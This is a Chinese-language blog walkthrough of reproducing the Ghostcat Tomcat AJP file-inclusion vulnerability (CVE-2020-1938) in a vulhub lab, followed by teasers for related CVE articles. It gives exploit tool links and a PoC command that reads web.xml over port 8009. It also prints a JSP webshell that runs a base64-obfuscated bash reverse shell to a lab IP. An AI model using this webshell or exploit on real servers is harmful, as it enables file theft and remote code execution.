Ghostcat(CVE-2020-1938)

简介: Ghostcat(CVE-2020-1938)

概述:

 CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat 上所有 webapp 目录下的任意文件,如:webapp配置文件、源代码等。同时,如果此应用在网站服务中具备上传功能,攻击者也可以先向服务端上传一个含有JSP代码的恶意文件(上传文件可以是任意类型,图片、纯文本文件等),然后利用Gh0stcat进行文件包含,从而达到代码执行的危害。

影响范围:

ApacheTomcat 6

ApacheTomcat 7 < 7.0.100

ApacheTomcat 8 < 8.5.51

ApacheTomcat 9 < 9.0.31

漏洞环境:

Tomcat 9.0.30(Centos7用vulhub搭建)

利用工具地址:

https://github.com/00theway/Ghostcat-CNVD-2020-10487

https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

漏洞复现

1.利用nmap扫描开放的端口,若开放了8009端口,则可能存在该漏洞

640.png

python2 poc.py -p 8009 -f"/WEB-INF/web.xml"

2.利用工具验证,成功读取文件

640.png

反弹shell利用

如果存在文件上传的功能点,可以上传文件,从而进行文件包含造成RCE

1.准备好的马

    <%      java.io.InputStream in = Runtime.getRuntime().exec("bash -{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNS4xMzUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();      int a = -1;      byte[] b = new byte[2048];      out.print("<pre>");      while((a=in.read(b))!=-1){          out.println(new String(b));      }      out.print("</pre>");%>

    2.由于没有上传点,这就手动通过dokcer上传至容器中

    640.png

    640.png

    3.在kali中设置监听

    640.png

    4.反弹shell

    640.png

    成功反弹

    640.png


    相关文章
    |
    安全 Ubuntu Linux
    CVE-2021-4034 pkexec提权漏洞
    Linux Polkit 的 pkexec程序中发现了一个本地权限提升漏洞。pkexec应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。
    331 1
    |
    安全 Ubuntu Linux
    CVE-2016-5195 DirtyCow 脏牛提权
    脏牛(Dirty COW,编号:CVE-2016-5195)是2016年10月18日被曝出的存在于Linux内核中的一款0day漏洞。因为此漏洞是在Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时发生的,而又给Linux内核的使用带来烦恼,所以将其命名为"Dirty COW"。
    572 1
    |
    安全 Oracle 关系型数据库
    CVE-2020-2551
    2020年1月15日,Oracle发布了一系列的安全补丁,其中Oracle WebLogic Server产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行远程代码。
    149 0
    CVE-2020-2551
    |
    安全 Shell
    CVE-2014-6271“破壳”
    CVE-2014-6271广泛存在与GNU Bash 版本小于等于4.3的*inux的系统之中
    116 0
    |
    安全 Windows
    CVE-2018-8453从BSOD到Exploit(下)
    非常感谢A-Team发表EXPLOIT编写的思路,阅览后受益匪浅,因此本文不再阐述漏洞细节,专注于EXPLOIT编写.
    |
    安全
    CVE-2018-8453从BSOD到Exploit(上)
    如何构造一个触发BSOD的Poc呢,根据网上现存的分析报告我们得到了一个这样触发BSOD的思路.
    |
    安全 Shell 数据库
    CVE-1472
    0x00 CVE-1472复现
    CVE-1472
    |
    数据采集 移动开发 安全
    |
    安全 Ubuntu Linux
    polkit的pkexec中的本地权限提升漏洞(CVE-2021-4034)
    polkit的pkexec中的本地权限提升漏洞(CVE-2021-4034)
    488 0
    |
    供应链 安全 IDE
    Mercurius <11.5.0 存在拒绝服务漏洞(CVE-2023-22477)
    Mercurius <11.5.0 存在拒绝服务漏洞(CVE-2023-22477)
    Mercurius <11.5.0 存在拒绝服务漏洞(CVE-2023-22477)